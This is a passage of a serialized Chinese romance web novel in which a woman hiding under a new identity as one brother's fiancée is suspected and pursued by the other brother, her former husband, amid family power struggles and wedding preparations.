宁穗愣住,所以她今天必须坐陆勋之的车走。 陆凛之那边无论说什么,只要陆勋之要护着她,老头子就要给陆勋之脸面。 毕竟她现在是陆闻之的女朋友,是陆勋之的弟媳。 宁穗的手紧了紧又松开,缓缓靠在椅背上。 陆勋之半阖着眼睨了她一眼,收回视线,“开车。” 车子驶入车道,司机将后排的挡板缓缓升起。 密闭的空间里,全是陆勋之身上的味道,淡淡的,却让人无法忽略。 他抬手捏了捏眉心,声音微哑,“头疼,给我按按。” 这话一出,车厢里安静得落针可闻。 他语气自然的,仿佛两人是多年的夫妻。 陆勋之也觉察到自己的不对劲,算是解释道,“刚才看你给奶奶捏得不错。” 宁穗看向窗外,冷淡道,“我不会。是奶奶心善,给我面子而已。” 陆勋之气笑了,这么拙劣的拒绝,真是让人心梗。 他转过头看向女人的后脑勺,满满的抗拒。 沉默片刻,他冷不丁地问,“你感冒还没好吗?” 宁穗愣住,不明白他什么意思,随即听到他说:“你声音怎么还是哑哑的。” 宁穗心揪起来。 当年她被陆凛之抓到公海的船上做手术,船起火的时候,她已经被打了麻.药,身子不可控,吸进了很多烟,嗓子便这么坏了。 即便陆闻之后来遍寻名医帮她看,也只能恢复百分之八十。 所以她现在说话,就像是感冒了一样。 她声音挺好听的,突然哑了,她还觉得有点难过。 但现在十分庆幸,如果没哑,可能就被陆勋之认出来了。 宁穗没避讳,“我嗓音就这样。” 陆勋之没再说什么。 陆家老宅。 陆凛之被抬到房间,家庭医生给他检查完出来。 医生面色为难,恭敬地对老爷子说:“有一边的已经黑了,怕是要做手术拿掉。” 他随即又赶紧解释,“还有一边能用,要是调养好,不影响以后生育。” 随着他捏了一把汗。 老爷子的脸色阴沉下来,一旁的三婶瞬间哭了,“爸,您要为我们做主啊,我们就凛之一根独苗,陆勋之这是要断我们的后啊!” 一旁的二房都没敢说话,只有陆治之哼笑一声,“三婶,虽然陆凛之现在是独蛋,但医生不是说了吗?一个蛋也能生。” 二婶拐了一下陆治之的胳膊,瞪他一眼让他少说话。 陆老爷子看向陆闻之,“你哥呢?” 陆闻之看了一眼旁边哭肿眼睛的乔若钰,语气也有些严肃,“刚才陆凛之要欺负乔小姐,我哥气不过才打了他。还好小瑜过来叫我,才勉强拦住他。小瑜吓坏了,我让我哥送她回去了。免得我哥再把陆凛之另一个蛋也砸碎了。” 他文文弱弱的,跟陆勋之气势凌人的样子完全相反。 一本正经地这么说话,有点搞笑,但没有人能笑出来。 就算是笑,也是偷偷在心里笑。 陆老爷子点点头,“你处理得对。行了,这件事就这样吧,老三家,回去好好给凛之调理身体。” 这件事就被老爷子轻轻放下了。 一直没说话的陆正却急了,“爸,你要偏袒陆勋之到什么时候?这么大的事,就这么完了?我不同意。” 老爷子冷眼看向他,“那你想怎么办?你也去摘他一个蛋?” 这话太难听了,尤其是在长辈嘴里说出来。 还是老爷子这种最好面子的人。 何况这里还有女眷们。 这明显是真生气了,陆正最怕老爷子,这会儿气焰明显散了几分,他硬着头皮嘟囔一句,“那也不能就这么算了。” 陆老爷子真的烦透了,摆摆手说:“新势力那边的项目,你来负责。” 丢下这句,他起身走了。 新势力能源车的项目,一直都是陆勋之那边在做,现在给了三房,等于是让陆勋之变相给陆凛之赔罪了。 陆治之冷哼一声,“一个蛋换几十亿的项目,三叔还是真会算账。” 陆正白了他一眼,拉着三婶转身走了。 客厅里只剩下陆闻之,乔若钰,和二房那边的人。 “二哥,你送乔小姐回去?”陆治之问。 陆闻之点点头,操控着轮椅往外走。 乔若钰不紧不慢地跟在他身侧。 等到周遭没了人,陆闻之才停下,语气温和,但又疏离,“乔小姐,谢谢你帮忙。” 乔若钰弯唇客气道,“应该的。我跟勋之是要联姻的。” 她说得直白,陆闻之也没再掖着,“乔小姐,你想嫁给我哥,我可以帮你。” 乔若钰倏地抬眼看向他,眼底亮了亮,随即又有些沮丧,“可是新势力的项目已经给了三房那边……” “乔家也想分一杯羹对吧?”陆闻之语气温润却丝毫不留情面,“不然乔小姐,也不用这么忍让着我哥。抱歉,他是脾气不太好。” 这一晚上,除了在饭桌上怼三房的时候,陆勋之还算是对乔若钰有一点笑意,其他时候,几乎都不理她,当她是透明人。 乔若钰唇角抿成直线,没说话,但也不用说,明眼人都看在眼里。 “我也一定要娶沈瑜,那就麻烦乔小姐多帮我照应她。” “好,二少,你放心。” 乔若钰意味深长地笑了笑。 …… 陆勋之回到景园的时候,看到一辆车停在门口,他刚下车,那边也开门下来的一个人。 他只用余光扫了一眼,根本没理,径直往门口走。 可身后的脚步声跟上来,他手搭在门把手上,转身看向对方。 “有事?”语气很冷淡。 乔若钰踩着高跟鞋站在离他两米远的地方。 “陆勋之,我有事想跟你说。” 男人眉心微折,“有话就在这说。我太太不喜欢别人进我们的家。” 乔若钰愣住,快速地看了一眼别墅,冷不丁笑出声,“你心里要是还有你太太,你又何必觊觎别人的女人?你不觉得有点虚伪吗?” 第160章 会影响我们结婚吗? 陆勋之拧眉看着乔若钰,没有说话,下颌绷得紧紧的。 搭在身前的手心出了汗,乔若钰心里也没底。 她还是第一次这么强硬地跟陆勋之说话。 他俩人之间的关系,看上去陆勋之彬彬有礼,但实际上一直都是不对等的。 陆勋之对联姻没兴趣,完全是应付陆老爷子。 而她,对这场婚姻尤为重视,这是她逃离乔家的救命稻草。 她承认自己手段拙劣,可是人在面临死局的时候,就算拙劣,也要努一把。 今天她看到陆凛之抓走宁穗的时候,她没上前,而是叫来了陆勋之,她本来可以去叫陆闻之的。 但是,她有自己的打算。 她需要验证一件事情。 “你看上去很在意陆闻之的女朋友。”乔若钰无情地扯开了陆勋之的遮羞布,“甚至迫不及待地带走她。你们去哪儿了?” 陆勋之冷声道,“我需要向你交代?你谁啊?” 这已经不是陆勋之第一次对她冷言冷语,但这是最不客气的一次。 乔若钰却丝毫不在意。 人一旦有自己的目标,就不会在意其他的。 她向前跨一步。 虽然周边没有别人,只有他俩。 但她还是刻意放轻了声音,“你喜欢沈瑜。”是肯定的语气,不是询问。 “你跟我联姻,我可以对你的龌龊心思睁一只眼闭一只眼。” 她不甚在意地耸了一下肩,“或者如果你给的利益到位,我还可以帮你打掩护。” 陆勋之面不改色,眯了眯眼睛,“乔家看来逼你逼得很紧啊。怎么?我这边攻略不成,是逼你嫁给那个独蛋瘸腿总裁吗?” 乔若钰的笑容裂开缝隙,缓缓敛起。 “我是不是还应该谢谢你,愿意选择我,至少说明,我比陆凛之还强一点?” 陆勋之冷笑,笑意不达眼底,“滚出去。” 丢下这句,他开门进屋,门被摔得震天响。 乔若钰愣在当场,陆勋之的表现是在警告她,想要威胁他,她还不够格。 垂在身侧的手指缓缓蜷缩起来,微微发着抖。 新做的指甲嵌进掌心,又疼又胀,唤回了一丝理智。 乔若钰挤出一丝笑容,至少她验证了自己的想法。 陆勋之也不是完全没有弱点,这个所谓的弟媳,也许是个突破口。 …… 陆勋之将宁穗送到馨园别院,放下人就走了。 什么都没说。 宁穗回到房间,脑子一直乱哄哄的,陆凛之看样子伤得不轻。 他现在陆家好歹也是话事人,不知道结果会怎么样。 虽然理智上,她知道陆闻之也好,陆勋之也罢,一定不会让这件事发酵。 毕竟她代表的是大房这边,就算不是为了她,兄弟俩也会顶住三房那边的压力。 但她还是莫名其妙的害怕。 确切地说,这种感觉,从回来见到陆勋之,就一直隐隐发作。 她一直没睡着,等到后半夜,听到动静,知道陆闻之回来了,她猛地坐起来。 书房里,陆闻之的手机接通,他打开外放,丢在一边。 然后慢条斯理地拿出香具,用香铲理灰,香压压灰,再挑选香篆的时候,手机传出助理的声音。 “三少爷做完手术一直喊疼,疯狂地闹,最后摔了一跤,把伤口摔坏了,另一边的可能也保不住了。正在紧急手术。” 陆闻之像是没听到似的,一直在认真挑选,手指落在一个如意的香篆上,满意弯唇。 “嗯,知道了。”陆闻之说完,挂断了电话,打了香篆,点燃。 他缓缓闭上眼睛,嘴角勾起淡淡的弧度。 手指在扶手上轻轻打着拍子。 房门被敲响,陆闻之掀眸,眼皮压出两三层褶,“进。” 宁穗穿着长袖长裤的丝绸家居服,站在门口,头发散落下来,像是茂密的海藻,看上去像是不谙世事的人鱼公主。 陆闻之眼神晃了一下,眼底冒出细细碎碎的光,温和得水,“吵到你了?” 宁穗抓了一把头发,摇了摇头走进来,“没有,我一直在等你。” 男人微愣,眼底冒出一丝喜悦,“找我有事?” “他怎么样了?”宁穗问的是陆凛之。 陆闻之不甚在意,“在医院呢。陆家医疗,你可以放心。” 他把放心两个字念得很重。 宁穗没听出他的深意,余光瞥了一眼桌上的香篆。 陆闻之晚上一般很少打香篆。 但他心情好的时候除外。 她知道这件事就这样轻轻放下了。 她缓步上前,靠在办公桌边,“这件事,会影响我们结婚吗?” 陆闻之微微挑起眉梢,眉眼含笑,肯定道,“不会。等悠悠的马术课上完,我就让人送她回国。” 他拉起宁穗的手,轻轻捧在掌心,“我们已经有孩子了,领证是应该的。” 提到悠悠,宁穗的心柔软了不少。 语气也缓和下来,“陆闻之,你放心,我会像待亲生孩子一样对悠悠。” 这句话不是空话。 当初宁穗被救回去的时候,生还的机会只有三成。 到后来,她甚至都没有了求生的欲.望。 被自己曾经爱过的人如此算计,就像是把融进骨血的肿瘤剔除。 足够要人命。 陆闻之后来带了悠悠,那时候她还在襁褓之中,软软的白团子,可爱得不行。 宁穗的母爱就这样被唤醒了。 可以说,孩子救了宁穗半条命。 这几年,她对悠悠比亲生的都好。 陆闻之弯唇,一双眼睛亮晶晶地看着她,“你就是她的母亲。” 宁穗抿唇,陆闻之说宋姜难产死了。 她没去看过宋姜的墓,毕竟她和宋姜还有隔着两条人命。 但是孩子是无辜的,悠悠被她和陆闻之养得很好,非常可爱。 宁穗很少提起宋姜,这像是两人之间的默契。 因为宁穗发现,陆闻之也很讨厌宋姜。 原因不明。 …… 接下来的日子,陆凛之没再出现,她听说对方是在住院。 想想也是,被陆勋之踹了几脚,当场就晕过去了,应该伤得不轻,她不在意。 陆闻之最近忙碌起来,应酬很多。 这天晚上,他的助理给宁穗打电话,让宁穗去接。 陆闻之很少这样,宁穗没多想,让司机开车送她去了会所。 经理恭恭敬敬地将她带到包厢。 是VIP包厢,在顶层,大落地玻璃正对着浦江夜景。 奢华到极致。 宁穗进门,就看到陆闻之坐在轮椅上背对着她,单手撑着头,看上去是喝醉了。 男人听到声音微微侧头看过来,声音被酒精卷出了哑意,声音是前所未有的撩人,“乖乖,帮我按按头,好疼。” 第161章 怎么会对这个女人动念头 宁穗愣住。 陆闻之一直都是很温柔的。 温柔的,让她觉得两人更像是闺蜜。 加上陆闻之一直都不能跟人亲密,最近这几年,两人之间更是亲密的合作伙伴。 为着同一个目的。 他突然有点撒娇似的撩人,多少让宁穗有些不习惯。 但她没多想,只当是他喝多了,和平时有点不一样,也正常。 宁穗上前,在男人身后站立,双手抬起,落在他的太阳穴上,轻柔地按摩。 男人似是很舒服,后脑轻轻往后仰,靠在她的小腹上。 宁穗愣了愣,垂眸看他。 浓密的睫毛在眼睑上压下一小片阴影,屋内的灯光很暗,窗外的霓虹灯照进来,映在他的脸上。 花花绿绿,明明暗暗。 偏偏他长相清冷,仿佛是置身这些声色犬马之外。 可两人这样亲密地靠着,又莫名增添了一些暗昧。 这样的氛围让宁穗放下戒备,轻声开口,“我们什么时候领证?” 这几天,她没见过陆勋之,但是心里总是不踏实。 只有先领了证,她才能静下心来。 而且悠悠马上就要回国,她也想给孩子一个安定的家。 男人本来闲适地闭着眼睛,听到她的问题,突然睁开眼,微微仰头看着她。 两人现在看对方都是倒着的,弱化了彼此眼神中的严肃。 男人的发丝蹭着她的衣襟,甚至更暧昧了一些。 男人的眼神过于深邃,宁穗心口有些发紧,手指微微蜷起。 “急什么?”他问。 宁穗抿唇,收敛视线,“我怕陆勋之……” 万一察觉到什么。 而且他都已经好几次去掀她的面纱,甚至怀疑她的声音。 她怕,陆勋之现在如果知道,会闹出什么事。 影响了他们的计划怎么办? 手腕突然一紧,男人倏地用力,将她拉到身前,宁穗失重,被拉坐到他的腿上。 手下意识地按在对方的胸口。 软弹的触感,压在掌心,刺激着她的大脑。 随即男人靠近,鼻尖蹭她的脸颊,声音带着颗粒感,“陆勋之有什么好怕的?难不成……他还能吃了你?” 宁穗脑袋里嗡鸣了一声。 她几乎是脱口而出,“你是陆勋之!” 陆闻之不会这么直呼陆勋之的名字,而且,这暧昧的表情,侵略感十足的眼神。 无一不在证明着,眼前的人根本不是陆闻之。 而是陆勋之! 男人也不装了,嘴角扯出淡淡的弧度,轻笑一声,手放肆地落在她的腰间,一掐。 尺腰盈盈一握,陆勋之只要稍稍用力,就能掐断似的。 柔软的触感,刺激着他本就被酒精麻醉的大脑。 脑海里盘旋着乔若钰的那几句话。 “你心里要是还有你太太,你又何必觊觎别人的女人?你不觉得有点虚伪吗?” “你看上去很在意陆闻之的女朋友。” 理智和冲动在不断地拉扯。 陆勋之觉得自己真是疯了。 他心里有宁穗,怎么会对这个女人动念头。 是因为她的脾气性格和身段太像宁穗了吗? 他已经寂寞到要找个替代品了? 他嫌恶自己,嫌恶眼前的这个人,手上的力道不断收紧,却又没办法推开她。 宁穗感受到痛感,拧眉推他,想要起身,却怎么都挣脱不开,气急败坏,“你为什么要假装陆闻之,你真是有病!” 陆勋之一愣,似是找到什么借口似的,哼笑一声,“对,我是有病!” 不然怎么会对自己弟弟的女人感兴趣。 竟然还莫名其妙地坐在陆闻之的轮椅上,装成他的样子。 刚才陆闻之喝多了,他让人带去客房休息,看着空了的轮椅,他莫名其妙就坐了上来。 还让陆闻之的助理给宁穗发信息,让她来接人。 他觉得自己真的病得不轻。 居然想装成陆闻之,感受一下这种虚假的温存。 如果她没发现呢? 那是不是说明,他也有机会? 这个念头冒出来一个小尖尖,可是像燎原的野火一样,瞬间就点燃了他狂躁的心。 嗡! 他的大脑一片空白。 薄唇攫住两片温软的唇瓣时,他像是被打开了什么开关。 心里热烈的情绪,倾泻而出。 他需要释放,不然他真的会疯! 宁穗被迫承受,后腰被压在轮椅扶手上,硌得生疼。 与其说是吻,更像是啃噬,陆勋之比之前每一次都疯。 像是要将宁穗拆解入腹,与他融为一体。 宁穗手脚并用地挣扎,可陆勋之喝了酒,痛觉都迟钝了,仿佛不怕痛似的。 她又咬他,铁锈味在口腔里弥漫开来,他只哼了两声,换来的是更猛烈的进攻。 宁穗浑身冒冷汗,使劲捶他的小腹,男人重重嗯了一声,将她按得更紧。 她清晰感知他的变化,羞愤的泪水顺着脸颊滑落到嘴角。 陆勋之品尝到了淡淡的咸味,动作微顿。 宁穗得了空,低呼,“陆闻之,救我,陆闻之……” 她声音断断续续,呜呜咽咽,像是被欺负狠了的小猫,低声求救。 陆勋之缓缓撤开,垂眸看着她。 隔着面纱,隐约能看到她眼睫都被泪水打湿,一缕缕地粘在一起,嘴角沾着红色,看上去有种破碎美。 宁穗趁着他怔愣的空档,脱身撤开。 她冲进洗手间锁上门。 掀开面纱,看着镜子中的自己,狼狈不堪。 她用冷水洗了好几遍脸。 许久后,房门被敲响,经理的声音传进来,“女士,陆总说,让我找人送您回去。” 宁穗这才打开一个门缝,越过经理看向她身后。 轮椅已经被推走了,陆勋之也不知去向。 “好,谢谢,”宁穗跟着经理离开。 陆勋之是被陆闻之的电话叫走的。 他推着轮椅到客房,陆闻之正靠坐在床头,捏着眉心。 看上去很不舒服。 “我真是没用。”陆闻之自嘲笑笑,“才喝了没多少就醉成这样。” 今晚是陆勋之带陆闻之来应酬的。 陆凛之这个样子,恐怕一时半会没办法返工,陆老爷子便让陆勋之带着陆闻之熟悉业务。 这是有要培养他的意思。 也是,陆凛之现在是个废人,任何男人遇到这种事,恐怕都很难接受,估计会颓废很久。 而且陆闻之跟陆勋之一样,是要比陆凛之优秀很多的。 实际上,当年陆老爷子更宠爱陆闻之多一些。 他乖巧听话,不像陆勋之那么桀骜不驯。 第162章 也许三个人会是不一样的结局 陆勋之转身又坐在陆闻之的轮椅上,垂着眸子,看着自己的手掌心。 那种温软的触感,好像还有残留。 陆闻之没听到陆勋之回应,缓缓抬眼看向他,瞬间愣住。 陆勋之颓败的样子,浑身都透着灰色一般。 垂眸顺眼,就连发丝都垂下来,盖住额头,没了往日的凌厉逼人。 甚至看上去很像是他…… 陆闻之莫名其妙地生出一个念头,陆勋之这是……在扮演他吗? 随即他扯唇自嘲,他有什么好办的。 没有权势,还是残废。 脑海里突然冒出来当年的事。 上学的时候,两人没在一个学校。 但几乎每天都会联系。 有一段时间,陆闻之明显感受到陆勋之很忙,且心情不错。 后来才知道,有个女孩子一直在追他。 陆勋之对感情不开窍。 家里一摊子烂事,早就磨没了他对爱情的向往。 可是作为局外人,陆闻之看得清清楚楚。 他自己的哥哥,他太了解,这个女孩,对陆勋之的影响很大。 他突然好羡慕啊。 也想去看看那个女孩。 求了陆勋之好久,两人互换了一段时间。 他俩长得太像了。 外人根本分不清楚。 于是他就说自己是受伤坐轮椅的陆勋之。 见到宁穗第一面,他就知道,哥哥喜欢这个女孩子。 因为,他也好喜欢。 他要是腿不残废就好了,那他就有自信跟陆勋之公平竞争。 那几个月,是他二十年人生中最快乐的几个月。 他甚至想,要不就用自己的腿,跟哥哥求情吧。 这个女孩子,让给他好不好? 可他终究没狠下心。 现在想想,当年该狠心一点的。 也许三个人会是不一样的结局。 “闻之?”陆勋之的声音,将陆闻之拉回到当下。 他怔怔迎上陆勋之的视线,“嗯?怎么了,哥?” 陆勋之微微皱眉,“我在问你,打算什么时候结婚?你女朋友很急吗?” 他语气很烦躁,似乎对宁穗着急结婚的事,很是不满。 “她到底什么来头?”陆勋之继续追问,“为什么非要缠着你结婚?” 陆闻之温和笑笑,“哥,我在国外的时候,要不是她,我就死了。” 他没撒谎。 拯救宁穗的那几年,也是陆闻之抑郁症最严重的几年。 有几次,他真的差点就死了,是宁穗救了他。 两个人几乎是一路扶持走过来,成了彼此最可靠的后盾。 陆勋之脸色凝重了几分。 这五年,他没管过陆闻之,也不知道他都经历了什么。 是他昏迷清醒之后,陆闻之才出现的。 再见面,陆闻之就像是回到大学时候,温和开朗,善解人意。 没有丝毫锋芒,像是原谅了全世界对他的不公。 他本能地以为,陆闻之好起来了。 而他因为失去了宁穗,像个行尸走肉。 却没曾想,陆闻之也有暗淡的一面。 “所以,哥,求求你好不好?让我娶她。” 陆勋之看着跟自己一模一样的脸,唇角抿成直线,他听到自己说:“好。” …… “谢谢姨姨,我好喜欢。”甜甜的声音让宁穗心情好了不少。 她看着眼前的小人,简直跟唐佳笑一个模子刻出来的,更加喜欢。 坐在宁穗对面的唐佳笑一边帮宁穗添水,一边嗔怪旁边的小家伙,“也就姨姨惯着你,你这下开心啦?” “开心!万岁!”三岁的孩子没有任何烦恼,一个小玩具足以收买他的心。 宁穗看着乔熙园开心的样子,忍不住也跟着笑起来。 “他这个嘴甜的样子,随他爸。”唐佳笑将手挡在嘴边,小声跟宁穗蛐蛐。 宁穗掩唇失笑,“孩子可爱活泼,说明你和乔镇感情好。” 唐佳笑撇撇嘴,但嘴角还是忍不住上扬起弧度,“他这个人,倒是听话。” 唐佳笑以前就说过,只会选一个一心一意对她的人。 有一点犹豫都不要。 宁穗也没想到,她离开这五年,唐佳笑竟然真的跟乔镇在一起,还结婚了。 两人再联系上,是在两年前。 那时候宁穗和陆闻之已经谋划着要回御城。 她悄悄联系上唐佳笑,当时唐佳笑在电话里泣不成声。 “对了,陆勋之肯定不知道你回来了吧?”唐佳笑的话将宁穗的思绪拉到当下。 宁穗笑意敛了几分,摇了摇头。 唐佳笑点头,“想也是,他这几年找你跟疯了一样,有一段时间,他还监控着我的一举一动,想从我这找你的消息。我那时候也以为你……哎,真是老天有眼。” 气氛突然有些压抑,只有旁边乔熙园还在乐呵呵地玩自己的变形金刚。 “穗穗,为什么非要回来?之前你不是说了吗?走了就不回来了。”唐佳笑还是挺担心的。 当年的事,她也不清楚,只听陆勋之只言片语里,知道宁穗出了事。 其他的信息,都被陆家封锁。 陆老爷子决不允许家族出丑闻。 后来王习多方打听,才知道,是陆凛之抓了宁穗,至于为什么会出了爆炸的事,就不清楚了。 宁穗反手握住唐佳笑的手,“笑笑,记住我跟你说的话,我现在叫沈瑜,是陆闻之的未婚妻。别的你什么都不要管。” 她这次回来,不想再连累任何人。 唐佳笑张了张嘴,话到嘴边没说出来。 她现在也有了软肋,不是一个人了,不能一腔孤勇。 宁穗不说,就是不想她掺和,她只能不问。 “尝尝这个吧,外国吃不到。”唐佳笑眼底闪着泪光,转移了话题。 “好。外国的饭是不好吃。”宁穗默契地回应。 两人吃过饭,就先后离开了饭店,出门后,就假装陌生人。 唐佳笑在停车场找到乔镇的车,她没让他进去接。 “你去见谁啊?这么神秘。”乔镇笑着逗她,转脸就问抱着玩具的乔熙园,“跟爸爸说,妈妈是跟叔叔吃饭,还是阿姨?” 坐在安全座椅上的孩子,眼皮都没掀起来,一直看着玩具,“是姨姨。” 乔镇哦了一声,看向唐佳笑,她正看着另一个方向,根本没参与他的“胡闹”。 他跟着看过去,是一个女人,戴着面纱,也在往这边看,动作很轻微地点点头。 显然是认识的。 乔镇扫了几眼,风吹过,面纱微微掀起一个角,露出了女人多半张脸。 乔镇眼神一紧,抬手指着那个人,“那、那不是……” 第163章 你不觉得这人挺眼熟的吗? 宁穗两个字,被一只又凉又软的手全数捂了回去。 乔镇不可置信地看着唐佳笑,从她毫无意外的表情里,确认了一件事。 宁穗没死,还回来了御城。 他扫了一眼后座上的乔熙园,见他玩得入迷,根本没往这边看,一把拉下唐佳笑的手,压着声音问,“宁穗?” 唐佳笑丝毫没有被揭穿的窘迫,只冷着脸问,“乔镇,你求婚的时候说过什么?” 翘筝愣住,不知道她怎么突然提起这个。 但求生的本能提醒他,不要跟宁穗争唐佳笑的宠爱。 争不过的。 在这个世界上,宁穗永远是唐佳笑的第一选择。 现在乔熙园或许能搏一搏。 他?只能排在后边。 乔镇眉头打结,“我说这辈子都听你的。” 唐佳笑淡淡点头,“你看见了。但是你要保守秘密。” “老婆,你是故意让我看见她的吧?”乔镇立刻就反应过来。 他跟陆勋之的关系好,唐佳笑不是不知道。 当初宁穗失踪之后,陆勋之又昏迷了两年,后来醒来,就跟疯了一样找宁穗。 第一年里,他甚至找人盯着唐佳笑。 乔镇差点跟陆勋之决裂。 陆勋之后来发现唐佳笑根本没跟宁穗联系的可能性。 就将寻找的方向撒向全国各地。 甚至在外国媒体上登寻人启事。 陆勋之如果知道他现在看到宁穗了,却不说,不知道会不会拆了他的骨头架子。 现在唐佳笑就是故意的,拉他入伙。 将来陆勋之要是发现了什么,乔镇也可以帮忙隐瞒。 唐佳笑不知道宁穗什么打算,她只能尽可能地帮忙。 她没说话,那坦然的样子,就是承认了。 乔镇气得想蹦,要不是顾着孩子,他这会儿真要骂街了。 他咬着后槽牙,“唐佳笑,你就欺负我吧!” 他宁愿自己不知道。 现在可好,要里外不是人了。 在陆勋之和唐佳笑之间,他宁愿当个瞎子。 刚才就不该好奇看! 真想戳瞎自己。 他懊恼地捂着眼,看上去就是气哄哄的。 唐佳笑倚在中控扶手,斜靠过去,“你不想让我欺负,你想被人欺负?” 乔镇从指缝里斜了她一眼,冷冷哼了一声。 一个毛茸茸的小脑瓜凑过来,乔熙园不知道什么时候解开了安全带。 “爸爸,你在对妈妈生气吗?”一双大眼睛眨巴着,“男子汉,可不能欺负女生。” 乔镇真的呕死了,到底是谁欺负谁啊? 但他很快调整好表情,露出老父亲的笑容,“乖,没有,我没生气。” “真乖。”唐佳笑刮了一下他的鼻尖。 乔熙园也学着妈妈的样子,小手勾起,刮了他的鼻尖。 “爸爸真乖。” …… 宁穗和陆闻之的订婚的日子很快定下里,就在年后春天。 这段时间陆闻之很忙,正在慢慢接受陆氏的一些工作。 有陆勋之铺路,陆凛之又病着没空管。 三房那边又忙着新势力的项目,没时间给陆勋之这边找麻烦。 陆闻之本来就从来,上手非常快。 短短一个月甚至还敲定了几个中等规模的项目。 宁穗过得前所未有的安静,没有见过一次陆勋之。 这个人就好像从她的世界消失了一样。 陆闻之这天让宁穗空出半天的时间,说要带她去一个地方。 可到的时候,宁穗愣住了。 “你带我来婚纱店干什么?”宁穗纳闷。 陆闻之拉着她的手,仰头看她,“我们的定婚礼总要准备一下。” 宁穗失笑,“只是订婚。” 本来两人想先领证,但是陆家的规矩多,要先订婚再说。 宁穗觉得订婚也行,她只要一个陆家人的身份。 未婚妻也足够了。 “乖乖,我只想给你最完整的。不管是订婚,还是婚礼。都要完完整整。” 宁穗抿唇。 当初她跟陆勋之订婚就很仓促。 结婚的婚礼上更是离谱。 新郎直接被别的女人叫走,她独自一人完成婚礼,成了笑话。 她那时候戴着白色面纱,都没有新郎帮她撩起来。 以至于,御城豪门圈里,其实很多人都没真的见过她长什么样子。 只知道陆勋之的老婆,就是个摆设。 陆闻之没明说,但是宁穗知道,他是在帮她弥补。 她扯唇笑笑,“以前的事,无所谓的。” 那些不好的回忆,她一点都不想记着。 “但是我想。”陆闻之目光灼灼地看着她。 宁穗不想扫他的兴,点点头,“那我就好好选一件。” 陆闻之笑弯了眼,两人进去。 宁穗看到两个高大的身影,瞬间僵住。 “哥,乔镇哥。”陆闻之先打了招呼,抓着宁穗的手,又紧了紧,安抚着她。 乔镇回头,看向陆闻之,笑着打了招呼,余光不住地打量宁穗。 心里直骂娘。 他悄咪咪看了一眼陆勋之,男人垂着眸子,一眼都没看那边,双手抄兜,“嗯,你们挑吧,我们已经试好了。” 说着,他微微转头看向乔镇,“你不是说有话要跟我说?去那边。” 说完,他直接转身走了。 乔镇讪笑两声,看向宁穗,“弟妹好,我叫乔镇。我和陆勋之会当你们的伴郎,伴郎衣服我都试好了,你们慢慢试。” 他客客气气,只当是第一次见陆闻之的未婚妻,说完便跟上了陆勋之的脚步。 两人上了二楼的休息室。 乔镇跟过去的时候,陆勋之已经选好了最佳观景位,大落地窗下,正是那一对新人。 乔镇心里觉得好笑,贱嗖嗖地坐下来,半个身子探出去,问陆勋之,“你看什么呢?你弟吗?你俩不是天天见,还这么黏糊吗?” “滚。”陆勋之单手撑着额头,垂着眸子看着楼下的人挑衣服。 笑眯眯的样子,很是幸福。 可他的兴致不高。 乔镇快速地扫了一眼宁穗的背影,“你不觉得这人挺眼熟的吗?” 陆勋之恹恹的,“像宁穗。” 乔镇呼吸一滞,他睁圆了眼睛看向陆勋之,他怎么这么镇定地说出来了。 心跳提到嗓子眼,心里默念,他可什么都没说,就算发现也怪不到自己头上。 下一秒陆勋之嗤了一声,“一点都不像。” 咕咚,乔镇的心又落回肚子里。 见鬼似的看着陆勋之,“啊?” 陆勋之眉心拧出烦躁,“别跟我提这个女人。” 第164章 换老公 乔镇愣住,视线在陆勋之和宁穗之间打了几个来回。 听上去,陆勋之好像挺烦这个戴面纱的女人。 但他的视线却紧紧盯着对方。 宁穗拿着头纱,走进更衣室,直到看不到身影,陆勋之才讪讪地收回视线,垂着眸子,看着自己手中的咖啡杯。 乔镇还是抑制不住好奇心,“你真打算看着他俩结婚啊?” “陆闻之喜欢,随他去吧。” 乔镇五官皱了皱,得,他可是想办法提醒过了,是陆勋之自己不当回事。 这时,宁穗换了一身衣服出来。 陆勋之的视线,瞬间就黏上她的身影。 改良过的旗袍穿在她身上,特别突显她的身材。 同色系的头纱盖住了她的面容,可丝毫不会掩盖她的风华。 甚至给人一种犹抱琵琶半遮面的感觉,更吊人胃口。 陆勋之的眼神愈发粘稠起来。 陆闻之也穿戴好,出现在宁穗身旁,他突然仰起头,看向落地窗这边。 陆勋之正好迎上他的视线,对方笑着冲他招招手。 这是要让他下楼去。 陆勋之顿了一下,还是起身。 宁穗看着镜子中的自己。 比起五年前,她快要枯败的样子,现在的她真的被陆闻之养得很好。 “太太,您的身材真好,你看,臀部这里正好,但腰部好像还有点肥呢,腰真细。” 礼服师一边说着,一边上手,两只一捏,腰部的布料被捏紧了一寸,更加服帖宁穗的线条。 她对着镜子中,歪头看了看,余光一顿,与站在不远处的陆勋之对上视线。 她眼神闪烁着躲开。 耳边传来陆闻之的声音,“哥,你觉得怎么样?” 陆勋之嗤笑一声,“你结婚还是我结婚?你喜欢不就得了。” 陆闻之也不生气,笑着回应,“我很喜欢。乖乖,你喜欢吗?” 宁穗特别不自在,总觉有两道视线烤着她,她胡乱应着,“嗯,喜欢。” 不等陆闻之说什么,陆勋之先一步冷声道,“公司有事,我先回了。” 身后传来粗重的脚步声,余光中,男人推门而出。 宁穗这才狠狠松了一口气。 陆勋之上了车,唐桓的电话过来,“陆总,M国那边得到消息,去核实过了,不是太太。” 他缓缓闭了闭眼睛,这三年多,每一次有消息,他都会派人去核实。 次次都是失望而归。 可这一次陆勋之尤为烦躁,他掀起眼皮看向落地窗内的人。 女人背对着他,但陆闻之的表情,他看得一清二楚,不知道她说了什么,陆闻之笑弯了眼。 陆勋之视线定在那个窈窕的背影上。 真希望,这次能找到宁穗,可惜…… “知道了。继续找。” …… 宁穗接到乔若钰电话的时候,还有些意外。 一开始她挂断了,以为是骚扰电话。 但对方直接发了信息过来,【我是乔若钰,聊几句?】 宁穗眯了眯眼睛,没马上回。 几分钟后,对方又打过来,快要挂断的时候,宁穗接通,“有事?” 她语气很冷淡,但乔若钰丝毫不在意似的,倒是客气,“有点事,想见面聊聊,可以吗?” 宁穗轻笑一声,“我跟乔小姐,好像不熟。” “是啊,现在是不熟。”乔若钰也笑了,“但等你跟陆闻之结婚,我也嫁给了陆勋之,那我们就是妯娌。豪门里的妯娌无非就是两种,要么斗生斗死,要么合作共赢。” 宁穗,“乔小姐想怎么合作共赢?” 乔若钰温婉道,“见面聊,怎么样?” “好,我定时间和地址。” 见宁穗这么谨慎,乔若钰倒也没拒绝,只要见到就行。 宁穗定了一家茶馆的包间。 她提前十分钟到的,但乔若钰还是先到了一步。 